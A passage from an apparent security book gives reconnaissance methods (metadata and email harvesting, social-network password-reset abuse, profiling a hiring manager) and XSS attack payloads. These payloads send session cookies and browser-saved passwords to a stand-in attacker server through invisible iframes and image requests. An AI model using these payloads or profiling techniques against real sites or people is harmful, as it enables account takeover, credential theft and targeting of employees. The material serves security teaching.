http://www.example.com/english/lic/gl_app3.xls\n[+] Searching in example.com for: ppt\n[+] Total results in google: 60\n[+] Limit: 3\n [ 1/3 ] http://www.example.com/english/lic/gl_app1.ppt\n [ 2/3 ] http://www.example.com/english/lic/gl_app1.ppt\n [ 3/3 ] http://www.example.com/english/lic/gl_app1.ppt\n[+] Searching in example.com for: sdw\n[+] Total results in google: 0\n[+] Searching in example.com for: mdb\n[+] Total results in google: 0\n[+] Searching in example.com for: sdc\n[+] Total results in google: 0\n[+] Searching in example.com for: odp\n[+] Total results in google: 0\n[+] Searching in example.com for: ods\n[+] Total results in google: 0\nUsernames found:\n================\nrmiyazaki\ntyamanda\nhlee\nakarnik\n10 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 27, "text": "April Jacobs\nRwood\nAmatsuda\nDmaha\nDock, Matt\nPaths found:\n============\nC:\\WINNT\\Profiles\\Dmaha\\\nC:\\TEMP\\Dmaha\\\nC:\\Program Files\\Microsoft Office\\Templates|Presentation Designs\\example\nC:\\WINNT\\Profiles\\Rwood\n[+] Process finished\nFigure 1-6. SEAT using 15 threads, searching for vulnerabilities using multiple search engines\nThe publicly available Python script metagoofil.py aids in searching,\ngathering, and extracting metadata from documents. It is available from\nhttp://www.edge-security.com/metagoofil.php.\nSearching for Source Code\nDevelopers will often post code on public forums when they discover a bug they cannot\nsolve. Too often, these developers will post code without redacting it in any way. It is\nunsettling how often these forums display code that clearly belongs to a specific\norganization.\nInformation such as the developer’s name, internal comments, code descriptions, and\norganizational ownership are among the items you can find in source code that is posted\non public forums on the Internet.\nSearch Engine Hacking | 11\nDownload at WoWeBook.Com\n" }, { "page_number": 28, "text": "Using Google, it is trivial to find some of this code in a short period of time. Using\nsearch terms such as “here is the code” and “here is the exact code” will return many\nresults. Here is a code snippet that we found using Google (the code has been redacted):\n\";\n// Checks to see if $whereto is empty, if so echo error\nif(empty($whereto))\n{\n$error = \"You need to choose a directory.
\";\n}\n// Checks to see if file input field is empty, if so throw an error\nif($whatfile == NULL) {\n$error .= \"You need to choose a file.\";\n}\n//if no errors so far then continue uploading\nif(!empty($whereto) && $whatfile != NULL) {\n$target_path = \"$whereto/\"; // The directory the file will be placed\n...\nThis code snippet describes upload functionality that is on a web server. An attacker\ncan use this code to reverse-engineer how to get a file into a different directory, or how\nto bypass the security mechanisms that are in place.\nLeveraging Social Networks\nAttackers can use social applications such as MySpace and Facebook to gain inordinate\namounts of information about a company’s employees. Information such as an em-\nployee’s hometown, her interests, and even incriminating pictures are available on these\nsites.\nSocial applications attempt to prevent unauthorized parties from viewing users’ infor-\nmation. However, social applications and their users benefit from that information\nbeing publicly available, making it easier for people to find others who share similar\ninterests without knowing them first. Users of social applications are therefore given\nan incentive to share as much data as they can; the more data they share, the more they\nbenefit from the social network.\n12 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 29, "text": "Facebook and MySpace\nThe popularity of social applications such as Facebook and MySpace has grown ex-\nponentially around the world. These applications are driving a phenomenal paradigm\nshift in how people communicate and collaborate.\nFrom an attacker’s point of view, a wealth of information is available from profiles on\nsocial networking websites. An attacker can obtain an amazing amount of information\nwithout even having an account on some social networking applications, such as My-\nSpace. Alternatively, an attacker can easily create an account to gain the ability to in-\nteract with a targeted individual. For example, an attacker may send friend requests to\nan employee of a specifically targeted company to gain additional knowledge of the\ncompany.\nAbusing Facebook\nSocial applications have many inherent weaknesses despite all of the security built into\nthem. For example, after browsing to Facebook.com, an attacker can click the “For-\ngotten your password?” link and select the option of not having access to his login email\naddress. (This option is legitimately available for Facebook users who do not have\naccess to their original email account and those who have forgotten their Facebook\ncredentials.) Figure 1-7 shows the page the attacker sees in this situation. The attacker\ncan obtain the requested information from the targeted individual’s Facebook profile.\nIf it is not accessible, the attacker can use another social networking site, such as \nLinkedIn or MySpace.\nFigure 1-7. Facebook’s forgotten password functionality; this is only for cases where the user selects\nthat she does not have access to her original email account\nOnce the attacker has obtained and submitted this information, he is presented with\nFigure 1-8. The additional “private” information being requested in this example is the\ntarget’s college graduation year. Figure 1-9 shows the target’s graduation year, obtained\nfrom her LinkedIn profile.\nOnce the additional information has been submitted, Facebook sends the attacker the\nemail shown in Figure 1-10.\nLeveraging Social Networks | 13\nDownload at WoWeBook.Com\n" }, { "page_number": 30, "text": "The attacker responds to the email, as requested by Facebook. After a few hours, the\nattacker receives another email describing how to change the password on the account.\nThis example shows how easy it is to use the biographical information posted on social\napplications to break authentication mechanisms.\nAttacks such as this are becoming more frequent and are gaining media coverage. Dur-\ning the 2008 presidential election, the attack on vice presidential hopeful Sarah Palin’s\nYahoo! email account received abundant media coverage. Figure 1-11 shows a screen-\nshot of a forum post describing how the attacker found all of the necessary information\nto defeat Yahoo!’s security reset mechanisms.\nFigure 1-8. Request for target’s college graduation year\nFigure 1-9. LinkedIn profile showing the year the target graduated college\n14 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 31, "text": "Figure 1-10. Facebook’s response\nTwitter\nTwitter is a microblogging application. A microblog consists of small entries that users\npost from “connected” devices. More and more people are using Twitter to collect their\nthoughts about different things they encounter and post them to the Internet. Messages\non Twitter are often unedited, informal, and off-the-cuff. Because of this, the informa-\ntion has a tendency to be very accurate and genuine.\nAn attacker can use Twitter’s search interface, http://search.twitter.com, to search Twit-\nter messages given a specific keyword. Depending on the target, it may be beneficial\nfor attackers to seek information about a specific individual or organization.\nIn February 2009, Pete Hoekstra, a member of the U.S. House of Representatives, used\nTwitter to update his precise whereabouts while traveling to Iraq. Figure 1-12 shows\nHoekstra’s message.\nIt is clear from this example how the information individuals put on microblogging\nchannels can aid attackers. In this case, the information Hoekstra twittered could have\naided terrorist efforts that may have jeopardized his security. Messages posted on mi-\ncroblogging channels such as Twitter are therefore extremely important and useful to\nattackers.\nFigure 1-11. Description of how the attacker obtained access to Sarah Palin’s Yahoo! account\nLeveraging Social Networks | 15\nDownload at WoWeBook.Com\n" }, { "page_number": 32, "text": "For more information on the Pete Hoekstra incident, see “Pete Hoekstra\nUses Twitter to Post from Iraq about Secret Trip” at http://www.media\nmouse.org/news/2009/02/pete-hoekstra-twitter-iraq.php.\nTracking Employees\nAttackers do not necessarily limit their attacks to organizations. Often, the attacks are\naimed at specific employees and business units of the target organization. The human\nfactor is still the weakest part of the organization.\nFirst things first: attackers need to gather employee lists and then correlate attack vec-\ntors to them. In doing so, attackers have a better chance of successfully entering the\ntarget organization.\nA critical step for attackers is to gather a target list of employees. This list will often\ncontain employee names, personal and work email addresses, home addresses, work\nand home phone numbers, and some interesting notes about the employees.\nThe information contained in such an employee list can have multiple uses. For ex-\nample, certain information about an employee may suggest that the best attack method\nis social engineering through intimidation. Another employee’s profile may suggest she\nis particularly vulnerable to clicking links from emails received from social applications.\nEmail Harvesting with theHarvester\nOne of the first steps an attacker needs to take is to gather the corporate email addresses\nof employees. Attackers do this by using search engines or by crawling the corporate\nFigure 1-12. Pete Hoekstra’s Twitter message\n16 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 33, "text": "website. In addition, they can search forums, looking for email addresses ending in the\ntarget domain.\nObtaining email addresses provides a starting point for an attacker; once he has the\nemail addresses, he can research the employees in more depth.\ntheHarvester, also known as goog-mail.py, is a tool for enumerating email addresses\nfrom a target domain using these methods. You can configure theHarvester to use\nGoogle or the MSN search engine, as well as attempt enumeration on PGP servers and\nLinkedIn.com. The following example demonstrates how to use theHarvester.py to find\nemail addresses belonging to example.com using Google as the search engine:\n$ python theHarvester.py -d example.com -b google -l 1000\n*************************************\n*TheHarvester Ver. 1.4 *\n*Coded by laramies *\n*Edge-Security Research *\n*cmartorella@edge-security.com *\n*************************************\nSearching for example.com in google :\n========================================\nTotal results: 326000000\nLimit: 1000\nSearching results: 0\nSearching results: 100\nSearching results: 200\nSearching results: 300\nSearching results: 400\nSearching results: 500\nSearching results: 600\nSearching results: 700\nSearching results: 800\nSearching results: 900\nAccounts found:\n====================\npsurgimath@example.com\ncsmith@example.com\ninfo@example.com\nbrios@example.com\njlee@example.com\n====================\nTotal results: 5\ntheHarvester is available on BackTrack 3 under the /pentest/enumera-\ntion/google directory and is named goog-mail.py. It is also available for\ndownload at http://www.edge-security.com/theHarvester.php.\nTracking Employees | 17\nDownload at WoWeBook.Com\n" }, { "page_number": 34, "text": "Resumés\nUsing online search engines, attackers can search for resumés containing sensitive\ninformation. The amount of “sensitive” information contained in a resumé can be sub-\nstantial. Job seekers will often include information in their resumés that could be con-\nsidered sensitive and therefore could be useful to an attacker.\nThe majority of people building resumés don’t realize attackers can data-mine the\ninformation they include, and therefore will often include details about projects they\nare currently working on. These details can range from benign information or general\nknowledge to information that is intended for an internal audience only.\nAgain, an attacker can use Google to search for resumés containing the name of the\ntarget organization. For example, this search query will return Microsoft Word resumés\nthat contain the phrase “current projects”:\nresume filetype:doc \"current projects\"\nSearches such as this turn up hundreds of results. Searching for current and previous\nemployees of the target organization can reveal information that is important to an\nattacker. Information from resumés can:\n• Reveal programs, databases, and operating systems that are used internally. Sys-\ntems include SAP, MySQL, Oracle, Unix, and Windows. This information may\ninclude version numbers.\n• Reveal previous and current projects. Attackers can search for other resumés that\nhave similar project names to attempt to locate other team members.\n• Allow attackers to link employees who worked on projects together, aiding an\nattacker in identifying social networks.\n• Reveal internal details of projects.\n• Reveal home addresses and phone numbers of current employees that can be used\nin social engineering attacks.\nThe projects listed in the sample resumé illustrated in Figure 1-13 include competitive\nproducts currently in development, information about SAP integration, and a hybrid\nengine purchased by Boeing in September 2006.\n18 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 35, "text": "Figure 1-13. Resumé with information that could potentially help an attacker\nJob Postings\nIn addition to resumés, job postings can lead attackers to useful information. Job post-\nings are often found on corporate websites or through job search sites (for example,\nMonster.com). Some job postings contain information such as hiring managers’ names,\ncorporate email addresses, or additional information that can aid attackers in tracking\ndown employees.\nUsing information gathered from a simple job posting, along with ideas we presented\nearlier in the chapter, we will demonstrate how we were able to track down a target\nemployee. Our first step was to search a job posting site looking for hiring managers.\nAfter searching Monster.com for a hiring manager from the target organization, we\nacquired the email address shown in Figure 1-14.\nFigure 1-14. Job posting listing the hiring manager’s email address\nOnce we obtained the email address, we used Google to track down information on\nthe hiring manager, as illustrated in Figure 1-15. The information we obtained identi-\nfied the hiring manager’s name and work phone number. We found this information\non the company’s corporate website.\nTracking Employees | 19\nDownload at WoWeBook.Com\n" }, { "page_number": 36, "text": "Figure 1-15. A Google search revealing the hiring manager’s full name and work extension\nNow we had a work number and extension. What other information can we dig up?\nUsing LinkedIn, we searched for the hiring manager along with the name of the or-\nganization. We successfully identified the hiring manager’s profile, which gave us more\ninformation about her. Figure 1-16 is a screenshot of the hiring manager’s LinkedIn\npage, which contains a wealth of information that we could use for nefarious purposes.\nFigure 1-16. The hiring manager’s LinkedIn profile\nNow we have professional information about the target. Can we dig further to identify\nother personal information? Can we use this information to intimidate or blackmail\nthe hiring manager?\nAssume that we browse to some social application sites and use the hiring manager’s\nname as a search term. We can limit the results based on the geographic location listed\nin the target’s LinkedIn profile. We can use additional information to limit results,\nincluding the target’s age and occupation, and even her social contacts. Figure 1-17\nshows the target’s MySpace profile.\n20 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 37, "text": "Figure 1-17. The hiring manager’s MySpace page\nThis demonstrates the impact that a few pieces of information can have. Using that\ninformation, we were able to obtain additional information about the victim and her\norganization. Obviously, job postings can lead attackers in identifying key people, and\ngive them a starting point for an attack.\nGoogle Calendar\nAttackers can use Google Calendar, located at http://calendar.google.com, to find in-\nformation about companies and their employees. Using a valid Google account, an\nattacker can search through public calendars. Most individuals are aware that public\ncalendars shouldn’t contain sensitive or confidential information. But people often\nforget this fact after they have made their calendar public. Information in public cal-\nendars can include internal company deadlines, internal projects, and even dial-in\ninformation.\nFigure 1-18 shows the dial-in number and code required to attend an IBO teleconfer-\nence. Attackers can use this public information to call in and “overhear” the conference\ncall.\nFigure 1-18. Dial-in information obtained from calendar.google.com\nFigure 1-19 shows another conference call, but outlines more detail about the call. The\ndescription states that three vendors will be making their final pitches to the organiza-\ntion. The description goes on to say that the company is not informing the vendors\nabout the other phone calls to avoid having them “listen in” on their competition’s\ncalls. Why did someone put this in his public calendar for the world to see? It is clear\nhow this may aid an attacker and a competitor.\nTracking Employees | 21\nDownload at WoWeBook.Com\n" }, { "page_number": 38, "text": "What Information Is Important?\nWhat kind of information is important to an attacker and what isn’t? All information\nthat an attacker can find can be used for some purpose. From the attacker’s perspective,\nall information is important. Some information can be more critical than other infor-\nmation. Information that could be deemed critical for an attacker to have would\ninclude:\n• An employee’s personally identifiable information (PII), such as work and home\nphone numbers, work and home addresses, criminal history, Social Security num-\nbers, and credit reports\n• Network layouts, including the number of web servers and mail servers, their lo-\ncations, and the software versions they run\n• Company files, including database files, network diagrams, internal papers and\ndocumentation, spreadsheets, and so forth\n• Company information such as mergers and acquisitions, business partners, hosting\nservices, and so forth\n• Organizational information, including organizational charts detailing the corpo-\nrate structure of who reports to whom\n• Work interactions detailing such information as who gets along at the office, how\noften direct reports communicate with their managers, how often managers com-\nmunicate with their subordinates, how they communicate (e.g., via email, phone,\nBlackBerry), and so forth\nThe information outlined here can be public or private. Attackers who have done their\npreliminary research are rewarded greatly. All of the information obtained during re-\nFigure 1-19. Dial-in information regarding vendor calls\n22 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization\nDownload at WoWeBook.Com\n" }, { "page_number": 39, "text": "connaissance can benefit the attacker in some way, including leveraging public infor-\nmation to gain internally sensitive information.\nSummary\nIn the past, system administrators have relied on perimeter-based security controls to\nalert them to potential attacks on their networks. However, the techniques that at-\ntackers can use during reconnaissance will not trigger any such perimeter- or network-\nbased controls.\nDue to the popularity of social applications today, it has become difficult for any or-\nganization to keep track of or police the information employees may put out there. The\ninformation-collection avenues for attackers are not limited to social applications, but\ninclude job postings, resumés, and even simple Google searches.\nThe crafty attackers are using, and will continue to use, the types of techniques pre-\nsented in this chapter to gain substantial amounts of data about their potential victims.\nAs you saw in this chapter, the techniques that attackers leverage today often include\ncomponents of social engineering that give the attempts a greater impact and make\nthem extremely hard to detect.\nSummary | 23\nDownload at WoWeBook.Com\n" }, { "page_number": 40, "text": "Download at WoWeBook.Com\n" }, { "page_number": 41, "text": "CHAPTER 2\nInside-Out Attacks: The Attacker Is\nthe Insider\nNot only does the popular perimeter-based approach to security provide little risk re-\nduction today, it is in fact contributing to the increased attack surface criminals are\nusing to launch potentially devastating attacks. In general, the perimeter-based ap-\nproach assumes two types of agents: insiders and outsiders. The outsiders are consid-\nered to be untrusted while the insiders are assumed to be extremely trustworthy. This\ntype of approach promotes the development of architectures where networks are seg-\nregated into clearly delineated “trusted” zones and “untrusted” zones. The obvious\nflaw with the perimeter approach is that all the insiders—that is, the employees of a\nbusiness—are assumed to be fully trustworthy. This chapter will go beyond the obvious\nand expose how the emerging breed of attackers are able to leverage application and\nbrowser flaws to launch “inside-out” attacks, allowing them to assume the role of the\ntrusted insider.\nThe impact of the attacks illustrated in this chapter can be extremely devastating to\nbusinesses that approach security with a perimeter mindset where the insiders are gen-\nerally trusted with information that is confidential and critical to the organization. Each\nof these employees in turn becomes a guard to the business’s secrets; it is their vigilance\nand efforts that will ultimately mean the difference between avoiding an incident and\nallowing an attacker to steal the organization’s secrets. When any one of the employees\nmakes a poor security decision, such as browsing to a malicious website (even with a\nfully patched browser), a malicious outsider has an opportunity to latch onto the in-\nnocent request and make her way into the organization’s internal network with the\ninsider’s privileges. Similarly, when an outsider convinces, forces, or tricks an employee\nto click a link, divulge a vital piece of data, or change some seemingly mundane setting,\nthe outsider becomes the insider. When an employee’s browser, email client, or oper-\nating system is under an attacker’s control, the outsider becomes the insider.\n25\nDownload at WoWeBook.Com\n" }, { "page_number": 42, "text": "The next few sections will present scenarios demonstrating how emerging attack vec-\ntors make it easy for malicious outsiders to latch onto application and browser trans-\nactions, and make their way into an organization’s internal presence.\nMan on the Inside\nThere are many ways to gain access to a corporate internal network, but the most\npopular avenue in today’s web-centric world is the web browser. In today’s corporate\nenvironment, web browsers are installed on almost every machine in any given organ-\nization. Web browsers continuously make outgoing requests from within the business’s\nnetwork infrastructure and consume responses from external web servers. In essence,\nthe web browser has become a window into any given organization. The browser is\nalso a trusted piece of software because it has access to internal as well as external\ncontent. As employees peer out by browsing to external locations, attackers have a\npotential opportunity to peer in by exploiting potential security flaws.\nThe browser has clearly become one of the most probable avenues of exposure. The\nbrowser’s attack surface is huge because it has become a complex piece of software.\nEmployees implicitly trust the browser to retrieve untrusted code from untrusted serv-\ners. Employees also expect the browser (and the browser plug-ins) to execute that code\nin a safe manner. Every day, employees run untrusted code in their browser and or-\nganizations rely on protection mechanisms offered by the browser to guard their secrets.\nKnowing the current and potential attack vectors that can target browsers, it would\nmake sense that corporate firewalls should be configured to prevent untrusted and\nmalicious code from making its way onto a given corporate network. Unfortunately,\ncorporations often need to make security exceptions for the traffic the browser gener-\nates and receives because general firewall technologies are designed to work on the\nnetwork level, not the application level where browser code executes. This is why the\noverwhelming majority of network firewalls do not get in the way of incoming code\nthat browsers eventually execute, many of which are running on desktops deep inside\nthe organizational security perimeter. While network firewalls are busy preventing\nmalicious network traffic from entering an organization, browsers actually invite un-\ntrusted code inside the security perimeter.\nCross-Site Scripting (XSS)\nCross-site scripting (XSS) is the most popular avenue for attack against the corporate\ninternal network. XSS remains the most popular attack against the masses because it\nis easy to find and to launch, while the consequences of the attack can be devastating.\nAlthough the scope of this chapter is beyond simple XSS tactics, no discussion of client-\nside exploitation would be complete without a mention of XSS. This section assumes\nthat the reader is familiar with the concept of XSS. The goal of this section is to illustrate\n26 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 43, "text": "how sophisticated attackers today are able to leverage the most out of XSS\nvulnerabilities.\nThe amount of data that is passed between users and online applications is staggering.\nIt seems that every significant business function has a web interface to manage various\nbusiness actions and peruse data. The enormous amount of sensitive information\npassed in online transactions makes online data theft appealing and lucrative. Of the\nvarious online attacks, XSS remains one of the most prolific. Although numerous XSS\nattack techniques exist, this section will cover a few examples of attacks that focus on\nstealing user information. These attacks will progress in complexity and can be used\nas a foundation for more advanced, targeted attacks.\nIf you are not familiar with XSS, the Wikipedia page at http://en.wikipe\ndia.org/wiki/Cross-site_scripting is a good resource.\nStealing Sessions\nAttackers often use XSS to steal user sessions. The following is the “Hello World” of\nXSS attacks. The simplest payloads look something like this:\nhttp://vulnerable-server.com/vulnerable.jsp?parameter=\">\nThis injected payload ferries the user’s session cookies to an attacker’s server. On the\nattacker’s server, the cookiecatcher.php file records the cookie value and notifies the\nattacker of a successful exploitation:\n\\r\\n\";\nCross-Site Scripting (XSS) | 27\nDownload at WoWeBook.Com\n" }, { "page_number": 44, "text": "mail($recipient, $subject, $mail_body, $header);\n}\n?>\nFigure 2-1 shows the results of an example attack against Gmail.\nFigure 2-1. Attacker’s email inbox following a successful XSS exploit\nYes, it’s that simple. With this PHP code on the attacker’s web server, once someone\nbecomes a victim of an XSS attack the attacker receives an email notifying her of a\nsuccessful XSS attack and allows her to immediately exploit the stolen session and\nimpersonate the victim on the vulnerable website. Once the attacker has stolen the\nvictim’s session, she can track the web pages the victim is viewing, pilfer all the user\ndata associated with the application, and execute transactions with the victim’s privi-\nleges. The web application cannot distinguish between the attacker and the legitimate\nuser and gives both the attacker and the legitimate user all of the legitimate user’s\ninformation and data.\nYou can defeat this type of attack by using the HTTPONLY cookie attribute\nfor the application’s session cookie. JavaScript cannot access cookies\nmarked as HTTPONLY, making attacks that utilize the document.cookie\nobject ineffective. Although the HTTPONLY cookie attribute does not pre-\nvent XSS exploitation, it can help prevent theft of session cookies and\nother session-based attacks.\nInjecting Content\nCramming the entire XSS payload into query strings can be messy and cumbersome. \nMost often, the attacker will need to execute a complicated payload to maximize the\nimpact of the XSS attack. In such situations, the attacker can use external JavaScript\nfiles to house the exploitation payloads. The attacker accomplishes this by injecting a \n\nWhen a reference to an external script is injected, the attacker has the option of storing\nthe entire exploit payload in the external script file (in this case, the file at http://attacker-\nserver.com/payload.js). In this example, the attacker uses the external JavaScript file to\nstore an exploit payload that scans the FORM objects of the login page and changes the\nFORM ACTION so that the user credentials are passed to the attacker’s web server. The\nfollowing code shows the content of the external JavaScript file payload.js:\nfor (i=0;i
\";\n // Loop through all the POST parameters stolen from the\n // original site and generate the correct form\n // elements and log the value to a text file\n foreach ($_POST as $var => $value) {\n echo \"\";\n fwrite($fp,\"var:\".$var.\" value:\".$value.\"\\r\\n\");\nCross-Site Scripting (XSS) | 29\nDownload at WoWeBook.Com\n" }, { "page_number": 46, "text": " }\n //complete the form and autosubmit the form using javascript\n echo \"
\";\nelse:\n //If orig is missing, redirect to back to the referring site\n header( 'Location: '. $HTTP_REFERER) ;\nendif;\nfclose($fp);\n?>\nXSS vulnerabilities on login pages can be devastating. For example, if a banking site\nhas an XSS exposure anywhere on its domain, a sophisticated phisher will be able to\nuse the XSS vulnerability to circumvent SSL (including Extended Validation SSL) and\nphishing filters. Such phishing pages will display all the legitimate SSL certificates and\nare undetectable by phishing filters, yet they contain phishing code. By using an XSS\nattack such as the one shown previously, a potential phisher can steal user credentials\nprovided to banking sites, while bypassing all of the current phishing protection\nmechanisms.\nStealing Usernames and Passwords\nSome browsers allow users to save their usernames and passwords for certain web\npages. Figure 2-2 shows an example of this built-in feature in Firefox.\nFigure 2-2. Firefox browser requesting to save a password\nOnce the browser has been instructed to “remember” a password, the next time the\nuser visits the login page he will see prepopulated username and password form fields.\nFigure 2-3 shows the prepopulated username and password fields after a user has\nchosen to “remember” application passwords.\nA “remember my password” feature can be very convenient for the user, but it can also\nlead to security consequences. The following example will discuss attacks that abuse\nthis built-in browser feature, focusing on scenarios in which the victim has a “remember\nmy password” feature enabled on a website that also has an XSS vulnerability. We\npresent the JavaScript payload in a piecemeal fashion here; it would simply be placed\ninto one JavaScript payload during a real attack.\n30 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 47, "text": "Once the victim falls prey to the XSS attack, the attacker must steal the victim’s current\nsession. We described the steps to steal the victim’s current session earlier. To make\nthis attack stealthier, the attacker may avoid using document.location and instead resort\nto creating a dynamic image using JavaScript:\nvar stolencookie = new Image();\nstolencookie.src = \"http://attackers-server.com/cookiecatcher.php?\ncookie=\"+document.cookie+\"&location=\"+document.location;\nFigure 2-3. Browser saving the username and password for a particular page\nAlthough this attack doesn’t depend on the ability to steal the victim’s session, it does\ncreate a good foundation for additional attacks and serves as an excellent first step in\nexploitation. Once the attacker has stolen the victim’s session cookies, the attacker\nmust log the victim out of his session in cases where the application does not allow the\nvictim to access the login page if he already has an active session. The attacker can log\nCross-Site Scripting (XSS) | 31\nDownload at WoWeBook.Com\n" }, { "page_number": 48, "text": "out the victim in two different ways. The first method is to force the victim’s browser\nto request the logout page, which will completely sign the victim out of the application.\nThe second method, which is a bit stealthier, makes a copy of the victim’s current\nsession cookies, then clears the victim’s session cookies using JavaScript and restores\nthe original cookies after the credentials have been stolen, allowing the victim to resume\nhis browsing with no indication of the attack. Here is an example of a JavaScript payload\nan attacker may use to launch an attack using the second, stealthier method:\n// Make a copy of the cookies for later\nvar copyofcookies = document.cookie;\nfunction clearcookies(){\n var cook = document.cookie.split(\";\");\n for(var i=0;i-1?cook[i].substr(0,eq):cook[i];\n document.cookie = name+\"=;expires=Thu, 01 Jan 1970 00:00:00 GMT\";\n }\n}\n// Delay the calling of clearcookies for 2 seconds\n// This allows the session stealing to complete before erasing cookies\nsetTimeout('clearcookies()', 2000);\nJavaScript does not have a native function to enumerate cookie names\nand \nvalues. \nThis \nJavaScript \npayload \nretrieves \nthe \nentire\ndocument.cookie object and manually parses the cookies. Once the\ncookies have been manually separated, the cookie expiration dates are\nback-dated, forcing the browser to expire them on the client side (not\nthe server side).\nOnce the victim’s cookies have been cleared using JavaScript, the attacker can inject\nan invisible (1-by-1-pixel) IFRAME containing the login page into the page the victim\nis currently viewing. Since the victim’s session is no longer valid, the login page will\nhave the prepopulated username and password fields (invisible to the victim). Once\nthe login page is loaded into the invisible IFRAME, the attacker can extract the user-\nname and password values by calling the document.iframe.form[0].username.value for\nthe username and the document.iframe.form[0].password.value for the password. Here\nis the JavaScript payload the attacker can use to launch this attack:\nfunction injectframe(){\n// create the IFRAME\nvar passwordstealer = document.createElement('IFRAME');\n// Make the IFRAME invisible (1x1) and point it to the login page\npasswordstealer.height = 1;\npasswordstealer.width = 1;\npasswordstealer.src = \"https://victim-server.com/login.jsp\";\n// Make the IFRAME a part of the HTML document\n32 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 49, "text": "document.getElementsByTagName('BODY')[0].appendChild(passwordstealer);\n// Steal the username and password\nvar stolenusername = new Image();\nstolencookie.src = \"http://www.attacker-server.com/catcher.php?\nusername=\"+document.passwordstealer.form[0].username.value;\nvar stolenpassword = new Image();\nstolencookie.src = \"http://www.attacker-server.com/catcher.php?\npassword=\"+document.passwordstealer.form[0].password.value;\n}\n// Delay the execution of injectframe so the cookieclear completes\nsetTimeout('injectframe()', 5000);\nAs soon as the attacker has stolen the victim’s username and password and sent them\nto her web server, she can restore the original session cookie to prevent suspicion. This\nmakes the victim’s browser resume the browsing session as though nothing ever\nhappened.\nfunction restorecookies(){\ndocument.cookie = copyofcookies;\n}\n// Delay the execution of restore cookies\n// until after the creds have been stolen\nsetTimeout('restorecookies()',7000);\nAt this point, the attacker will have the victim’s clear-text username and password.\nObviously, the attacker can use the stolen username and password on the vulnerable\napplication from which she stole the credentials. The attacker can also now begin to\ndetermine whether the victim has used the same password on other web applications.\nIf the victim used the same password (or subtle variants) on other applications, the\nattacker can gain access to those web applications and the associated data. These sce-\nnarios are very common in the online world where attackers steal the credentials of one\naccount and use the stolen information to break into several different accounts from\nwhich they obtain more information, leading to the compromise of even more accounts\nand data. Figure 2-4 shows the clear username and password for the victim.\nFigure 2-4. Logfile on attacker’s system with the victim’s username and password in clear text\nHere is the source code for catcher.php:\nCross-Site Scripting (XSS) | 33\nDownload at WoWeBook.Com\n" }, { "page_number": 50, "text": "\nAdvanced and Automated Attacks\nIn the next example, we present techniques involving the XMLHttpRequest object and\nhow an attacker can use the XMLHttpRequest object to grab the HTML source for various\npages on a web application that is vulnerable to XSS. In this scenario, the attacker will\nmake the requests with the victim’s session cookies, allowing the attacker to steal\ncontent meant for the victim. Once the attacker steals the content from the page, the\ncontent is ferried back to the attacker’s website. The attacker’s web server parses the\nHTML, pulls out any links to different pages, and manipulates the XMLHttpRequest\nobject to pull the content from the different pages, essentially spidering the vulnerable\nweb application with the victim’s session! This attack can be devastating when dealing\nwith web-based email, websites housing sensitive documents, and even intranet web-\nsites that are supposed to be accessible only from inside an organization’s perimeter.\nThe beauty of this attack is that it maximizes the impact of a single XSS vulnerability,\nallowing the attacker to use the victim’s browser to steal all the data on the affected site\nin one swift, automated motion. This attack also allows the attacker unlimited time for\noffline data perusal and analysis since the contents of the vulnerable site and the victim’s\ndata will be copied to the attacker’s server. Protection mechanisms such as SSL\n(HTTPS), SECURE cookie attributes, HTTPONLY cookie attributes, concurrent login pro-\ntections, and session timeouts will not mitigate an attack such as this.\n34 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider\nDownload at WoWeBook.Com\n" }, { "page_number": 51, "text": "In this scenario, the attacker abuses the XSS vulnerability to create three (if needed,\nfour) IFRAMEs. The first IFRAME, called Picture, is set to occupy the entire web\nbrowser window, while the second and third IFRAMEs are set to be invisible to the\nvictim (1-by-1-pixel). The Picture IFRAME gives the victim the illusion that all is well\nbecause it renders the pages the victim is browsing, while the other IFRAMEs are not\nvisible. The second IFRAME, called Control Channel, is used to create a dynamic con-\ntrol channel from the attacker’s server and the victim’s browser. This is accomplished\nthrough the use of the setInterval() method in JavaScript, which repeatedly executes\nJavaScript functionality at an attacker-specified time interval. The third IFRAME,\ncalled Data Channel, serves as a tunnel to ferry the stolen data back to the attacker’s\nserver. The fourth IFRAME (if needed), called Cross Domain Contents, is used for\nadvanced cross-domain attacks. Figure 2-5 shows how the IFRAMEs would be created\nand used.\nFigure 2-5. XSS exploitation framework\nThe concept of injecting IFRAMEs to establish various “channels” is\nbased on Anton Rager’s ShmooCon (2005) presentation titled “Ad-\nvanced Cross Site Scripting—Evil XSS.” The slides from Rager’s talk are\navailable at http://xss-proxy.sourceforge.net/shmoocon-XSS-Proxy.ppt.\nSo, how does the attacker initiate the attack? By sending the victim a URL such as the\nfollowing that abuses XSS in the vulnerable application that the user must click:\nCross-Site Scripting (XSS) | 35\nDownload at WoWeBook.Com\n" }, { "page_number": 52, "text": "https://victimserver.com/xss.jsp?parameter=\">\nAppendix A lists the entire contents of the datamine.js file, but let’s go over the inter-\nesting and important bits here. The following code snippet shows how an attacker can\nabuse an XSS vulnerability to inject the four IFRAMEs into the victim’s browser. The\nfirst function, named spotter(), creates the Picture, Data, and Cross Domain Contents\nframes. The spotter() function also sets up a setInterval() call to the function \ncontrolFrameFunction(), allowing the attacker to remotely provide new JavaScript pay-\nloads to the victim every five seconds through the Control Channel frame.\nfunction spotter(){\n var bigframe=parent.document.documentElement.innerHTML;\n iframeHTML='';\n iframeHTML+='';\n iframeHTML+='';\n iframeHTML+='';\n 